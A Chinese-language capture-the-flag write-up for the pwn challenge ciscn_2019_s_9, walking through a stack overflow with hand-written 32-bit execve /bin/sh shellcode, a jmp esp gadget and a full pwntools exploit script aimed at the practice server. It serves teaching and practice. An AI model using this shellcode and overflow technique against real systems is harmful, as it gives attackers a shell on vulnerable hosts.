ciscn_2019_s_9

基本啥保护都没开,也没有sys和binsh,第一个考虑写入shellcode
image
溢出的不是很多,如果自己生成的shellcode会超过溢出字数,自己写的倒可以控制长度

shellcode
"""
    xor  eax, eax      ; 清零eax
    mov  al, 0x0b      ; execve系统调用号(11)
    xor  edx, edx      ; edx清零(环境变量指针)
    push edx           ; 压入字符串终止符0x00
    push 0x68732f2f    ; 压入"hs//"(//sh)
    push 0x6e69622f    ; 压入"nib/"(/bin)
    mov  ebx, esp      ; ebx指向/bin//sh字符串
    push edx           ; 压入argv数组终止符0x00
    push ebx           ; 压入字符串地址(argv[0])
    mov  ecx, esp      ; ecx指向argv数组
    int  0x80          ; 触发系统调用
"""
看到函数hint的汇编代码,有个指令可以让我们直接跳到esp,在返回地址填上

image

exp
from pwn import *
context.log_level='debug'
io = remote('node5.buuoj.cn',25457)
shellcode='''
xor eax, eax
mov al, 0x0b
xor edx, edx
push edx
push 0x68732f2f
push 0x6e69622f
mov ebx, esp
push edx
push ebx
mov ecx, esp
int 0x80
'''
shellcode=asm(shellcode)
hink=0x08048551
jmp=0x08048554
payload=shellcode.ljust(0x20+4,b'\x00')+p32(jmp)
payload+=asm("sub esp,0x28;call esp")
io.sendline(payload)
io.interactive()

sub esp,0x28:将esp移到上面0x28的位置,刚好就是shellcode,溢出到返回地址的这段距离。将esp移到上面。 call esp:将call的下一条指令移到栈中(不重要);跳转到 esp 指向的地址:执行调整后的栈区域中的代码(即 Shellcode)
posted @ 2025-03-09 23:41  fdddddd  阅读(51)  评论(0)    收藏  举报